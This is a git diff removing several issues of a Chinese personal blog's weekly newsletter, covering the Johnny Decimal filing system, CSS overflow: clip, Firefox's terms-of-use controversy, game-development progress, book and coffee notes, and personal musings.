JD。这套分类系统非常简单(甚至原始),也很强大,而且几乎万能,你可以用它来做文件管理、家庭管理,甚至是管理小型企业;这个网站本身就是用这套系统来分类页面的。更酷的是,你的每个文件夹或物品,都会拥有一个独一无二的编号。 - - - -比起随心所欲地创建文件夹,提前选定一个编号会让文件更容易管理。由于大部分操作系统和软件不一定支持手动排序,但一定支持数字的升序或降序排序,数字也能让文件夹位置保持不变,更容易形成肌肉记忆。 - -小数点前的两位数表示「分类」,第一位数表示「领域」(类似 PARA 笔记法中的 Area)——如果 1 表示「家庭」领域,13 就可以表示「家庭财务」。小数点之后就是物品的编号,从 01 开始,表示该分类下的第几个物品。 - -这套系统我在用 Obsidian 记笔记的时候也会用,但比较随心所欲,这个网站写了各种指导,能帮助你创建一个有条理的分类和管理系统。据网站描述,JD 的定位是一个「能让你更有自信、更少焦虑地找到你要找的东西」的系统。 - -如果你没有一个很好的文件管理或者物品管理方法,到这个网站上阅读一些指导文章。其实 [Introduction](https://johnnydecimal.com/10-19-concepts/11-core/11.01-introduction/) 一页就已经把方法写得很明白了,此外,也可以读一下 [System Expansion](https://johnnydecimal.com/10-19-concepts/13-system-expansion/)(系统拓展)和 [Philosophy](https://johnnydecimal.com/10-19-concepts/11-core/11.04-philosophy/)(设计哲学)这两部分。 - -## 💡 这周学到了什么? - -### 📁 马尼拉文件夹 - -读小说的时候碰到了一个奇怪的名词——「马尼拉文件夹」。我好奇一个普通的文件夹为什么会有这样的名字,而且,在我熟悉的后室(The Backrooms)作品中,也有一个叫做「马尼拉房间」的地方。我很好奇「马尼拉」到底是什么。 - -马尼拉文件夹(manila folder)[^2]是指用「马尼拉麻焦」的树叶为原材料制成的文件夹,而「马尼拉」是菲律宾首都的名字。尽管后来的马尼拉文件夹不再使用马尼拉麻焦的纤维制作,但名字仍然保留了下来。 - -在后室作品中,马尼拉房间是流浪者[^3]在 Level 0(后室的第一层)唯一能够碰面的地方,也是这一层里唯一一处线性空间,因其特性,故事中的探险者总署(M.E.G.)在此存放了许多包含关键信息的文件,来帮助初入后室的人类。大概是因为放有许多用马尼拉文件夹存放的文件,所以这个房间被称作「马尼拉房间」。 - -这样简单的词源研究真的很有意思,你能看到一个地名是如何变成一个植物的名字,再变成一种物品的名字,再变成某个怪谈小说里的另一个地名的。 - -### ✂️ Overflow Clip - -CSS 中的 `overflow` 属性被用来处理子元素的溢出,最常用的是 `overflow: hidden` 和 `overflow: scroll`,前者用于隐藏溢出,后者用于为溢出元素增加一个滚动条;还有 `overflow: auto`,浏览器会通过溢出元素的大小来判断需不需要加上一个滚动条。 - -`overflow-x` 和 `overflow-y` 用来设定单一坐标轴上的溢出处理方式,但实际上,将 `overflow-x` 设置为 `hidden`,也会同时将 `overflow-y` 设置为 `auto`。如果只想要裁减某一边的溢出,使用 `hidden` 不一定能达到预期效果。 - -这个时候就可以使用 `overflow: clip`,它只会裁减某一坐标轴上的溢出,而不会影响到另一边。 - -更多有关 `overflow: clip` 的内容,可以阅读 [Overflow Clip - Ahmad Shadeed](https://ishadeed.com/article/overflow-clip/) - ---- - -## 🗣️ 碎碎念 - -- 逛书店的时候买了两本书,买了《夏日幽灵》,是因为作者乙一,买了《虚掷的夏日》,是因为书腰上写了一句「*我把自己关在家里,决定不再出门,除非世界向我道歉*」。等我走出书店,才发现这两本书的名字上都有「夏日」。最近确实也比较想念夏天,不知道是不是潜意识的选择。 -- 其实还买了第三本书,是宝可梦帕底亚图鉴,宝可梦 ZA 你快点出啊!!! -- 听播客的时候偶然得知怪谈和各种奇幻作品里的常客海怪「利维坦」出自《圣经》约伯记,于是翻阅起之前[白熊](https://bxaw.name)送的《圣经》。翻了好久没有找到,才发现 Leviathan 在这个版本的翻译中被译为「鳄鱼」。 -- 敲了这么久的代码还是不习惯用单元测试和断点 debug,一直在各种地方 `print()`,感觉这才是最符合直觉的做法。 -- 喝了 Colin Plus 的「TOH 西达摩 班莎 日晒」,草莓糖风味很突出,余韵也很长,甜了一下午。 -- 本周肾上腺素飙升时刻:玩《饥荒》用蜘蛛人探远古,出来的时候正好赶上暴动,精神值也清零,被影猴和影怪咬了好几下,一直追到洞穴门口,残血极限爬回地上。(跟在后面的白蜘蛛小弟什么都不干的啊喂!) -- 发现读文章写笔记只是为了写在周刊上,那为什么不一边读一边写周刊呢?于是这周我就这么做了。现在笔记软件只在学一些新东西和上课的时候打开。 -- 读《城市与狗》,第一节的最后有三四页完全没分段,写的都是不清楚说话人的句子。背景是军队学校的几个男学生半夜摸黑出门找东西解决生理需求,这种混乱的写法确实让读者很好地代入了混乱的场面。*只不过把母鸡抓来干,留下种之后还烧了吃的情节让人两眼一黑,更别说这些人还在讨论自己玩过哪个班的胖子、谁玩过母狗、自己被别人玩的时候发生了什么*。 -- 迷上桌游了,当只玩过 Uno 和狼人的我准备去找点新奇的桌游来玩的时候,才发现国内的桌游少得可怜,很火的双人非对称桌游《**藻影追猎**》也已经在摩点上售罄了,[BGG](https://boardgamegeek.com) 上的热门桌游我一个也买不起。(当桌游设计师的想法还没燃起来就灭掉了) - -[^1]: 《**中华人民共和国人民币管理条例**》**第三条:**中华人民共和国的法定货币是人民币。以人民币支付中华人民共和国境内的一切公共的和私人的债务,任何单位和个人不得拒收。 -[^2]: 来源:[Wikipedia](https://en.wikipedia.org/wiki/Manila_folder) -[^3]: 坠入后室的人类被称作「流浪者」 diff --git a/content/posts/weekly/18.md b/content/posts/weekly/18.md deleted file mode 100644 index 6e8aa549..00000000 --- a/content/posts/weekly/18.md +++ /dev/null @@ -1,123 +0,0 @@ -+++ -title = "稻草人周刊 Vol.18" -subtitle = "系统如何运作" -description = "静态评论、城市与狗、火狐放弃了用户隐私、被量化的和人性化的、系统如何运作" -date = 2025-03-03 11:48:32 -categories = "稻草人周刊" -draft = false -toc = true -aliases = [ - "/posts/weekly/稻草人周刊-vol-18/", - "/posts/稻草人周刊-vol-18/", - "/posts/weekly/18", -] -+++ -> [!note] 🔖 -> 你正在阅读 稻草人周刊,一个读者的自述,每周一更新。 - -## 🎧 这周在听什么? - -<iframe allow="autoplay *; encrypted-media *;" frameborder="0" height="450" style="width:100%;max-width:660px;overflow:hidden;background:transparent;" sandbox="allow-forms allow-popups allow-same-origin allow-scripts allow-storage-access-by-user-activation allow-top-navigation-by-user-activation" src="https://embed.music.apple.com/cn/album/forsvinder/1151799587"></iframe> - -又是一张爵士乐专辑,本周听着这张专辑读完了《城市与狗》。 - -## 🧑💻 这周做了什么? - -给博客增加了「静态评论」,也就是把以前数据库里的评论放到了文章 Markdown 文件的 frontmatter 里,这样评论就和文章一样储存在本地了。因为之前总是折腾博客系统和评论系统,要找回这些数据还真是不容易。 - - - -不过数据迁移到一半我就停下了,我想有的东西还是让他留在原来的地方比较好。 - -另外,还是照常报告一下游戏的开发进度。 - - - -我打算在下周做一个基本能玩的 Demo 并发布,大概会是一个无尽房间的肉鸽游戏,接下来还需要丰富一下会出现的道具以及敌人的种类。 - -## 📚 这周读了什么? - -{{< bookcard "城市与狗" >}} - ---- - -{{< bookcard "哈佛医生高效休息法" >}} - -## 🧠 这周思考了什么? - -### Firefox 放弃了用户隐私 - -就在这周,Mozilla 开发的开源浏览器 Firefox 修改了他们的使用条例(Terms of Use),表示「当你在 Firefox 中上传和输入信息时,你就授权 Mozilla 使用你的信息」,原文如下: - -> When you upload or input information through Firefox, you hereby grant us a nonexclusive royalty-free, worldwide license to use that information to help you navigate, experience, and interact with online content as you indicate with your use. - -在 Hacker News 上出现了一条标题为「Mozilla owns "information you input through Firefox"」的帖子之后,Mozilla 很快修改了措辞。 - -> You give Mozilla the rights necessary to operate Firefox. This includes processing your data as we describe in the [Firefox Privacy Notice](https://www.mozilla.org/privacy/firefox/). It also includes a nonexclusive, royalty-free, worldwide license for the purpose of doing as you request with the content you input in Firefox. This does not give Mozilla any ownership in that content. - -新版本的声明强调 Mozilla 不拥有(not give ... any ownership)你的信息,把信息(information)改成了内容(content),把「你授权」(you hereby grant us)改成了「这包含」(this includes),但仍然厚颜无耻地写着「royalty-free, worldwide license」。 - -人们又发现,Mozilla 删除了「永不出售用户数据的承诺」。 - - - -2 月 26 日,Mozilla 发布了一篇[博客文章](https://blog.mozilla.org/en/products/firefox/firefox-news/firefox-terms-of-use/)解释使用条例的更新,我又发现了很有趣的一点——我在[这个 YouTube 视频](https://www.youtube.com/watch?v=W1kE3qA8FcA)里看到的这篇文章,和我现在访问同一个网址看到的文章内容是不一样的。Mozilla 貌似偷偷地修改了博客内容。在视频里展示的内容中,Mozilla 承认向合作伙伴共享用户数据的行为,但现在被删掉了。 - -Firefox 一直是一个注重用户隐私的开源浏览器,然而现在不是了。他们现在保护的是「重要的东西」而非「隐私」。看看他们的新广告词就知道了。 - - - -如果你正在使用 Firefox 并且很在乎用户隐私,你应该考虑更换浏览器。如果你不愿意做出太多改变,可以尝试编译自己的 Firefox 浏览器。Firefox 是开源的,使用自己编译的版本而不是下载 Mozilla 提供的版本,不会受到 Mozilla 使用条例的限制。 - -### 思考系统如何运作 - -读 The New Atlantis 上的文章《[We Live Like Royalty and Don’t Know It](https://www.thenewatlantis.com/publications/we-live-like-royalty-and-dont-know-it)》,一开始觉得作者过来人的语气有点讨厌,但认真读下去之后发现文章内容和阅历并没有关系。作者指出,不只是年轻人不思考「汗滴禾下土」,现代人几乎很少思考粮食、电、安全、干净的水从哪来这些问题了。 - -读到一半的时候我已经认同作者表达的担忧,但我仍在字里行间寻找「为什么」,我想知道要是人们不再思考这些问题会怎么样。尽管作者没能完全说服我,但我想到了前几周听的一期播客。 - -前段时间 TikTok 在美国短暂被封,一群「洋抖难民」逃到小红书,有位播客主表示了对这些人的嘲笑。她指出,「难民」们之所以能转到小红书来,是因为他们的国家给了他们自由,而他们视这些权利为理所当然,甚至还嘲弄「要把自己的数据全部上交中国」,丝毫没有意识到自己之所以能使用互联网,全都要归功于他们正在「逃离」的这个国家。他们只想要看可爱的猫猫、上交「猫税」,看帅哥美女拍短视频勾引自己。除了表达不满(甚至不能算反抗,因为毫无作用)、宣泄情绪和逃避现实,他们没有创造任何价值。 - -我不是说他们应该容忍,但他们做的事情只是在逃避,就像小孩子离家出走,他们不关心也不参与到系统中来,因为他们不知道没有这套系统时,生活有多糟糕。 - -系统不是邪恶的,就像市场看似吞噬金钱,但却是配置资源的好方法。系统不是完美也不是理应服务于自己的。在此引用[一派胡言](https://yipai.me)放在首页的话:如果你在纵容,就不要抱怨世道变坏。如果个人连自己所处的系统如何运作都不清楚,那他凭什么指责任何人? - -我认为现代人应该尝试了解系统如何运作,读一些经济学原理,理解法治是如何构建的。在对系统表达不满之前,想想问题是如何产生的。 - -### 被量化的和人性化的 - -听完 TED 演讲《[如何逃出教育的死亡谷](https://www.ted.com/talks/ken_robinson_how_to_escape_education_s_death_valley)》,演讲者 Ken Robinson 让我再次思考起了「为什么全世界都偏爱数理化,不在乎人文、艺术和体育?」这个问题。Robinson 在演讲后半段提到了在教育系统中做决策的并非教师和学生这些参与者,而是在宏观上根据数据调整政策的中央计划者。==他们认为教育是可以而被量化的,而 Robinson 指出教育应该是人性化的==。 - -理工科受到偏爱,很有可能是因为在这些学科中投入后得到的产出最容易被量化,容易被量化的就是最直观的。科技发展能直观地带来生产效率的提升和经济增长,这是能够被量化的。文学创作、艺术创作似乎不能,你或许能衡量出版物的市场规模和变化情况,但那有什么意义呢?就算早期的科幻小说激励了无数人从事科学行业,但也没人会因此加大对科幻文学创作的投入,就连诺贝尔文学奖也不如物理学和化学的奖项受关注。体育比艺术和人文更受重视,因为国际的体育比赛中,排名也是量化且直观的。 - -Paul Graham 也在《黑客与画家》中写道,黑客(优秀程序员)的工作不如销售员那样容易被量化,因此,在大公司中,黑客没法像小规模的创业公司那样做出大胆、优秀且有趣的软件,因为系统没法衡量他们的优秀,也不鼓励他们变得优秀。 - -全世界都在痴迷于数字的时候,有多少人愿意停下来倾听人的声音呢? - -## 💡 这周学到了什么? - -### 圆豆和平豆 - -前段时间买了「菠萝咖啡成子」的「仙豆 3.0」,我确实能看出这豆子和一般的豆不一样,但我其实一开始没明白卖点在哪里。读《世界咖啡地图》的时候才发现,这家的仙豆是专门挑选的「小圆豆」。 - -一般来说,一颗咖啡浆果里会有两颗种子,他们的接触面是平的,所以大部分咖啡豆都有较平的一面,这样的豆子叫平豆。总产量 5% 左右的咖啡浆果中只有一颗种子,这样的豆子因为没有另一颗豆子挤占空间,所以整体呈圆形,叫小圆豆(peaberry)。 - -因为形状和大小与平豆有差异,所以需要不同的火候和烘焙方法。如果一批咖啡豆里有小圆豆,小圆豆的受热情况与平豆不同,最后激发出来的风味也不太一样,就有可能造成瑕疵。有人认为小圆豆需要独特的烘焙方式,「仙豆」就是专门挑选小圆豆进行烘焙得到的咖啡豆产品。 - -*亲身体验:喝起来没觉得和平豆有什么差别* - -### 正念与减肥 - -听起来像是伪科学:据说坚持正念冥想的很多人的体重都下降了。 - -一种解释是,正念的目的是锻炼对自身的感知力。由于感知力提升,个体对饱腹以及空腹的自然信号识别也就越准确,越能控制好自己的食欲。所以,坚持正念,最终也能达到减重的效果。当然,这是对那些原本饮食习惯不太健康的人群而言的。 - ---- - -## 🗣️ 碎碎念 - -- 买「绝对小孩」的咖啡豆,附赠了一包 35g 的尝鲜装,名字叫「肯尼亚·涅里佳赛茜AA·水洗」。这个分量其实很尴尬,不如多加一克,这样就能两次用 18g 粉冲完。我准备用 15g 先试试,结果粉仓没拧紧,磨豆的时候撒了,最后干脆把剩下的都冲了,一共 25g 豆。好在粉量大也没影响出品效果,第一次喝到这样甜的水洗豆,麦芽糖的风味很明显,甚至在磨豆之前就闻到了,中温段有明显的果汁感,温度下来之后,也确实能喝到包装上所说的乌梅和莓果风味。好喝的,可惜撒了一小半。 -- 爵士乐能唤起我脑海里最荒诞、最奇妙、最难以捕捉、最飘忽不定的想法,我看到了某个地方一直在下雨,有人的伞掉在了地上,灰蒙蒙的世界里落下一道闪电的白光。但是当我尝试把这幅图景画出来放在博客顶部当作头图时,我的幻想被我拙劣的绘画狠狠地击碎了,不敢想象我居然听了三个半小时的爵士乐,最后还没做出什么东西。有点可怕了。 -- 我都已经在思考买 Airpods 4 还是 Airpods Pro 2 了,结果突然想起来那个我以为丢了的耳机仓在我外衣内袋里连着充电宝充电。*可恶的漫步者!* -- 在盗版网站上看剧没关弹幕,发现好多观众喜欢用正常人的批评情景喜剧演员的行为。*拜托!要是他们都是正常人那还有什么好看的!我要看到厮杀、拉扯和血流成河 (等等我看的不是喜剧吗?) -- 老师刚在课上打开 DeepSeek 讲课,说可以在自己的电脑上部署,摸鱼的我就在阮一峰的科技爱好者周刊上翻到「本地部署 DeepSeek 保姆级教程」,两件事情发生的事件高度重合,有点过于好笑了。 -- 中午觉得有些闷热,于是脱去了贴身的保暖内衣,下午穿着宽松的卫衣走在街上,感受空气在我皮肤的表层穿梭,才觉得夏天已经来了。(第二天我穿着同一套衣服,走在上早八的路上牙齿直打架,重庆你这天气是要做什么啊!) diff --git a/content/posts/weekly/19.md b/content/posts/weekly/19.md deleted file mode 100644 index e61f9f9c..00000000 --- a/content/posts/weekly/19.md +++ /dev/null @@ -1,166 +0,0 @@ -+++ -title = "稻草人周刊 Vol.19" -subtitle = "I can't see straight and my hands are tied." -description = "MAYHEM、Demo 发布、代际传递、车站与烧烤、洞察力的认知、个人网站颂歌、苹果的软件质量危机、创作需要纯粹性吗" -tags = [ - "认知", - "创作", - "游戏", - "软件", - "Apple", - "原生家庭", -] -date = 2025-03-10 10:46:33 -categories = "稻草人周刊" -draft = false -toc = true -aliases = [ - "/posts/weekly/稻草人周刊-vol-19/", - "/posts/稻草人周刊-vol-19/", - "/posts/weekly/19", -] -+++ -> [!note] 🔖 -> 你正在阅读 稻草人周刊,一个读者的自述,每周一更新。 - -## 🎧 这周在听什么? - -<iframe allow="autoplay *; encrypted-media *;" frameborder="0" height="450" style="width:100%;max-width:660px;overflow:hidden;background:transparent;" sandbox="allow-forms allow-popups allow-same-origin allow-scripts allow-storage-access-by-user-activation allow-top-navigation-by-user-activation" src="https://embed.music.apple.com/cn/album/mayhem/1792666546"></iframe> - -终于等到 MAYHEM 发布!发布之后一直在循环《Zombieboy》和《How Bad Do U Want Me》这两首歌。 - -## 🧑💻 这周做了什么? - -在课上画游戏贴图,感受到了摸鱼带来的生产力提升。 - -{{< gallery >}} - - - - - -{{</ gallery >}} - -以及,Heart Hunter 的第一个破破烂烂的 Demo 终于发布了!这周跟各种奇奇怪怪的 bug 大战三百回合,尤其是地图生成的问题,有的问题真的产生得莫名其妙。我目前还没有找到很好的适用于 Lua 语言的 debug 方案,不断在各个地方插入 `print()` 真的挺绝望的。 - -如果你想玩 Heart Hunter 的 Demo 版本,欢迎加入 [Telegram 群聊](https://t.me/teaparty418/)下载适用于 Windows 和 MacOS 的版本(Linux 也能玩,但需要自己先安装 LÖVE 引擎)。 - -我将会在下周修好 bug 并完善游戏机制,然后发布一个更稳定的公开版本。到时候大概需要研究一下怎么在 [itch.io](https://itch.io) 上发游戏,如果有读者有着方面的经验,能够提供帮助的话,我感激不尽。 - - - -## 📚 这周读了什么? - -{{< bookcard "十八岁出门旅行" >}} - -### 正在进行的阅读 - -- 《红与黑》(Le Rouge et Le Noir):0.6% -- 《绝佳时间》:15.5% - -## 🧠 这周思考了什么? - -### 是否是父母将自己的不安代际传递给了孩子? - -读完少数派上的一篇 ADHD 患者的自述《[西西弗斯的游戏](https://sspai.com/post/96639)》,我最有感触的其实是作者对自己学生时代的叙述: - -> 从小到大,我一直都被一句话反复教育,「你这样做,别人会如何看你。」在这种他人目光的影响下,我几乎忘记了,如何看待我自己。 小学的时候,我是个大结巴,只有一个人的时候自言自语时,我语速飞快。念大学之前,我几乎没有办法和异性说话。一直到现在,我对于表达真实的自己都有一种深深的畏惧,这或许可以归因于一种长期的「自欺」,让我习惯性地压抑自己,迎合外界的期待。 - -我在教培机构工作的时候,能见到各种各样的大学生。虽然是同龄人,我也能感到很明显的行为模式的差异。我的老师跟我谈起某个学生时,谈到她能看出来那个学生原生家庭的一些问题,在之后我也开始有意无意地思考自己和他人扭捏、拧巴的姿态,是否与原生家庭有很大关系。 - -读完作者的叙述之后,我思考的并不是「作者的父母如何影响了他」,因为他已经叙述得很清楚了。我思考的是「作者的祖父母如何影响了他的父母」,因为教导孩子在乎别人的看法,说明父母自己就很在意别人的看法,是他们将这种不安传递给了孩子,而他们的不安最终也来自上一代。 - -兴许不只是原生家庭那么简单,但影响一定是比其他社会因素更大的。一直以来,我的观点是,在个体自己没能处理好自己的心理问题之前,不应该养育另一个个体(那可是一个人啊,把他教育好得是多大的责任和负担?),不然很有可能造成代际传递。我有时候也会想,父母也是第一次当父母,不应该要求他们懂太多;然而,无知带来的伤害又是真实的,责任感和想要养育一个孩子的欲望应该是不冲突的。 - -### 车站越近,烧烤越烂 - -读到了一篇有趣的小研究《["The closer to the train station, the worse the kebab"](https://www.jmspae.se/write-ups/kebabs-train-stations/)》,作者利用 Google Map 的 API,自己编写 Python 脚本收集了各种数据,最终得到了火车站距离与烧烤店评级的关系图表。 - - - -答案是:几乎没有关联。但这个实验并不完美,有很多明显的漏洞,作者说他想要在之后再做一次,拭目以待吧。 - -我觉得这样的研究很有意思,而且任何人都用通过一台电脑完成,如果我有有趣的实验点子,也真想做一些这样的研究。 - -### 洞察力的认知 - -在 [Owen](https://www.owenyoung.com) 的群聊里发现有人推荐了一个大佬的博客,经常发表高质量长文。这周我读了一篇,叫做《[洞察力的认知](https://liuyuntian.com/2025/03/02/insight-cognition.html)》,从神经科学、商业、教育等领域对「洞察力」这一概念作了一篇综述。文章很严谨,每段话几乎都有两三处文献引用。这类综述能帮助读者快速建立起对某一概念的知识框架。 - -我觉得最有意识的是「为什么遇到难题时放一放是明智的?」这个话题,这里记一下笔记: - -1. 休息期间,大脑会继续无意识重组信息 -2. 先前的错误路径记忆得以衰退,解除思维方式的固着 -3. 适度分心(从事与问题无关的轻松活动)可以刺激不同的联想,这样的活动也不会占用太多认知资源(*刷短视频不行,会占用很多认知资源🙅*) - -文章还简单提到了「发散思维」和「收敛思维」。发散思维有利于产生多种新想法,而收敛思维则能够将问题整合为解决方案。在创造新东西的时候,可以先依赖洞察力和发散思维,头脑风暴出尽可能多的点子,再利用收敛思维和分析式解答,将原先发散的想法聚拢起来,成为可以落地的完整方案。 - -### 个人网站颂歌 - -读完一篇有关「个人网站」的[文章](https://localghost.dev/blog/this-page-is-under-construction/),很喜欢这句话: - -> Personal website is a decades-old art form.<br /> -> 个人网站是有几十年历史的艺术形式。 - -我在《[自我外化与表达欲](https://www.geedea.pro/posts/自我外化与表达欲/)》中提到「制作个人网站也是一种自我的表达」,而表达就是创造。我很高兴作者和我有相同的观点。 - -作者也批评了当今互联网的现状:内容被挡在「请登录查看」弹窗的背后,这样的设计让 Wayback Machine 也没办法存档这些信息;科技巨头们掌握着你的数据,导出的数据尽是些难用的奇怪格式(大部分甚至没有导入导出功能)。她呼吁读者创建自己的个人网站,真正地**拥有自己的数据**。 - -> Where did the fun web go? - -借用作者的话,我们应该多做一些不符合规范、缺乏现代设计但非常有趣的网页,将那个真正好玩的 Web 带回来。这和《黑客与画家》里的精神,也有相似之处。 - -### Apple 的软件质量危机 - -[这篇文章](https://www.eliseomartelli.it/blog/2025-03-02-apple-quality)的作者称他的 iPad Air 11" M2 在使用备忘录和无边记这些原生 App 时出现了设备异常发烫的情况,而且仅仅使用几分钟,画笔就出现了影响使用的明显延迟。作者两次去 Apple Store 寻求解决方案,更换硬件之后问题依然存在。作者不理解 M2 芯片的处理器怎么会没法带动基本的写字功能,最后他得出结论:这是一个软件问题。 - -我自己使用的设备是搭载 M1 芯片的 iPad Air 5,我和作者有十分相似的体验。同样也是备忘录和无边记,我在长时间使用(其实可能就不到十分钟吧)后也会遇到设备发热和书写延迟的情况。但是,使用 Prodrafts 和 Notability 等第三方 App 就不会出现这样的问题。同样是无限稿纸的设计,无边记在缩放时,会感到明显的割裂(缩放后需要等一段时间等其他地方的内容加载出来),这样硬核的优化也会导致书写时发烫,而 Prodrafts 不仅缩放很丝滑,在有大量书写的使用场景下,用一节课也不会出现任何轻微的发热。 - -备忘录作为 Apple 生态中非常重要的一员,却没法给用户提供很好的体验。由于我经常用备忘录管理非知识类、时效性强的笔记(如工作记录和培训笔记),也会遇到有大量书写的情况,我常常需要将本来应该在一页备忘录中记下的内容,拆分成两到三篇,因为卡顿已经让我没法继续在同一页写下去了。 - -这显然是 Apple 的软件优化问题,原生应用在性能和功能方面都打不过第三方应用,我的确感到很失望,这不是我认识的 Apple。 - -### 创作需要纯粹性吗? - -莫比乌斯写了一篇文章,题为《[创作需要纯粹性吗?](https://onojyun.com/2025/03/05/创作需要纯粹性吗?/)》,以下是我的评论。 - -> 其实读完我会觉得这像是个伪命题,讨论创作是否纯粹在我看来没有任何意义。 -> -> 创作是否纯粹和「这是不是一部好的作品」没有半毛钱关系。对观众来说,读完觉得喜欢、有感触、有思考、有共鸣等等,都算发挥了这部作品的价值;对作者来说,能表达出自己想要表达的,就已经有意义了,就算是跟随潮流光写别人爱看的东西,那也是满足了自己希望被人关注的需求呀。 -> -> 在这个过程中,纯粹性完全没有参与,或者说「创作的纯粹性」这个概念就不应该被造出来。读者批评一部作品不纯粹,我会觉得这样的评价令人摸不着头脑,模模糊糊不能直击要害;作者以纯粹性维护自己的作品,我会觉得:这作者是不是除了这个不存在的纯粹性,就没什么拿得出手的东西了? - -他也给出了回复: - -> 你说到了关键——当没有「结果」能拿出手的时候,纯粹性就变成了不允许他人攻击这个最脆弱真相的遮羞布。 - -我在想,到底还有多少这样令人感到可悲的遮羞布——当有人为维护自己,为某物冠以富丽堂皇的名号时,请放肆想象其背后有着怎样行径,你或许会为对方感到可怜。 - -## 💡 这周学到了什么? - -### 普通人为何以及如何阅读文献资料 - -获取靠谱的知识其实很难,我不否认科普博主、科普书作者所做的工作,但资料毕竟是二手的,他们是第一手科研资料的转述者,而科研成果也是研究者自己对客观世界的主观理解。在经过多个传声筒之后,信息难免失真,而且,你怎么知道某个结论是不是用过时的研究方法得出的,是不是已经被证伪的研究,是不是只研究了相关性而没有触及因果性?(在 [spurious correlations](https://www.tylervigen.com/spurious-correlations) 这个网页上,你能看到一些毫无关系,但确实呈现正相关的数字,比如:太阳的木星的距离与阿拉斯加的秘书数量呈正相关) - -普通人很难自己做研究,为了获取尽可能靠谱的信息,我们或许需要自己读文献。如果你有想法,这里是一些建议: - -1. 带着问题阅读。如果你有某个事实性问题需要求证,带着这个问题去找相关领域的科研论文来读。 -2. 如果想要大致了解某个领域,与其直接啃论文,不如找一些综述来读。这样的文本阅读门槛相对较低,而且能让你建立起结构化的知识体系,同时也能帮你探索这一个话题下的新事物。 -3. 不直接啃最难的数学推导和实验部分,而是从引言和讨论入手,尝试理解研究的背景和意义。 - -因为我觉得我正在上的软件工程导论这门课讲得实在太烂,所以我找了 IEEE 编写的 SWEBOK 来读,这是软件工程领域权威的综述。如果你感兴趣,欢迎到下一期周刊来读一读我学到了什么😉 - -### 操作系统需要靠硬件来实现的机制 - -操作系统本身是一个「软件」,软件被加载到内存中,就是指令区中一条条待读取的指令(instructions)和数据区中待取用的数据(data)。一个处理器同时只能执行一条指令,为了并行执行程序,每个程序在用完自己的时间片之后,会被中断,然后开始按序执行另一个程序的指令。 - -也就是说,操作系统并不是时刻运行着的(至少对于单核处理器来说是这样),它和其他软件一样需要递交 CPU 控制权。 - -既然操作系统不能实时监控其他程序的运行,一些机制就需要通过硬件来实现。比如,当用户程序尝试修改操作系统的内存区域时,硬件就会发现错误,然后将控制权移交给操作系统。除了内存保护,定时器、中断和特权指令等,也需要通过硬件来实现。早期的简单批处理操作系统,就设计了这样的监控程序和硬件机制,即使监控程序没有在运行,也能保证操作系统的安全。 - ---- - -## 🗣️ 碎碎念 - -- 一直觉得 Apple 的 Find My(查找设备)用处不大,定位也有些问题,总是在我暂时离开工作场所的时候告诉我某个设备被遗落(本来就没打算带走)。结果这周二跑步的时候把包落操场了,都要走回去了 Apple Watch 提醒我 iPad 被遗落才想起来。 -- 在群聊里发布了 Heart Hunter 第一个版本,才意识到我似乎自己手搓了一个物理引擎,原因是我以为 LÖVE 的物理引擎只能制作有重力的 2D 游戏(是的我完全没想到我可以把重力的大小设置为 0 啊!) -- 一节课没有看书也没有记笔记,因为我的 PDF 和笔记软件都在电脑上,而老师认为「电脑上没什么看的」,所以让我把电脑收起来。很显然,一个两眼无神、手撑着脸盯着 PPT 的学生,要比一个眼神在老师、电脑和讲台来回切换,还一直敲键盘记笔记的学生更好学。至少对教学系统里的行政人员来说是这样,因为老师说他这么做的原因是为了不找麻烦,这段时间过了就好——*本年级最近在做教学评估🙄* 又很显然,行政和教学可以按照自己的偏见妨碍真正的学习,这样一个教学行政系统(而非教育系统)的问题在于,他们关注的不是结果或目的,而是实际上无关紧要的方式和表现(具体表现是「抓学风」,还有很多实际上妨碍学生学习的规则,实际上没怎么学但很会表演的人在这个系统里更吃香)。 diff --git a/content/posts/weekly/2.md b/content/posts/weekly/2.md deleted file mode 100644 index 43b6380e..00000000 --- a/content/posts/weekly/2.md +++ /dev/null @@ -1,201 +0,0 @@ -+++ -categories = "稻草人周刊" -date = 2024-11-11 08:00:00 -draft = false -title = "稻草人周刊 Vol.2" -toc = true -aliases = [ - "/posts/weekly/稻草人周刊-vol-2/", - "/posts/稻草人周刊-vol-2/", - "/posts/weekly/2", -] -tags = [ - "喜剧", -] -+++ -你正在阅读 [稻草人周刊](/categories/稻草人周刊/) 的第 2 期,我会在这里分享最近的有意思的事情、思考、阅读和体会,总之是一些篇幅较短还不足以成文,但的确让自己有所收获的内容。 - -每期稻草人周刊大概会分为三个内容: - -- 🏃 - 最近在做的一些事情 -- 🤔 - 最近读的书,和一些零碎的想法 -- 📒 - 有意思的文章、播客、视频的摘录 - -## 🏃 - -做了一次「App 断舍离」,把手机主屏幕的页面数量从 4 页缩减到了 2 页,同时换掉了部分功能较为复杂的 App,还用 iOS 的快捷指令和新版的控制中心优化了使用体验。 - - - -第一张是负一屏,只能放小组件,主要用途是快速访问一些快捷指令,屏幕时间、电量显示之类的是凑数的,用处比较有限。关于用快捷指令优化工作流、代替部分 App 的实践,或许可以写一篇文章讲讲。*顺带狡辩一下,屏幕时间接近八小时是因为 Apple 的屏幕时间统计是跨设备的,所以把我用在 iPad 上的屏幕时间也算上去了;微信使用时间超过两小时是因为工作需要,我的手机有一个半小时的时间都放在一个地方开着微信直播*。 - -第一屏是生活相关的,健康、理财、记录、娱乐之类的应用都放在这里。第二部分是工作、学习、计划相关的,笔记软件、RSS 阅读器、时间管理应用、习惯打卡应用都放在这里。*虽然我写过一篇《[番茄钟并不好用](https://www.geedea.pro/posts/%E7%95%AA%E8%8C%84%E9%92%9F%E5%B9%B6%E4%B8%8D%E5%A5%BD%E7%94%A8/)》,但是这里明晃晃地出现了一个番茄钟 App,让我再狡辩一下,我使用得更多的其实是这个 App 的「正计时」功能,用它只是因为我觉得小番茄很可爱 wwwww* - -为了方便访问,同时也因为数量实在太多、太占位置,我把即时通信 App、邮件、消息等 App 都放在了 Dock 栏的一个分组里。 - -其实这次「断舍离」还可以更极端一些,因为我几乎不会在手机上使用 Notion 和 Obsidian 这两个应用(实际上,我在电脑上使用 Notion 的频率也减少了,Obsidian 也只是用来写作),完全可以删掉。不过,我决定慢慢来。 - -另外,我发现安装某些 App 会有种「身份感」。比如,我数次在别人的屏幕上无意间瞥见 Obsidian 这个应用,我会在心里暗自赞赏,有种「我认可你的工具选择」的感觉。我迟迟不肯删掉不常用的 Notion 和 Obsidian,大概也受到这种「身份感」的影响。 - 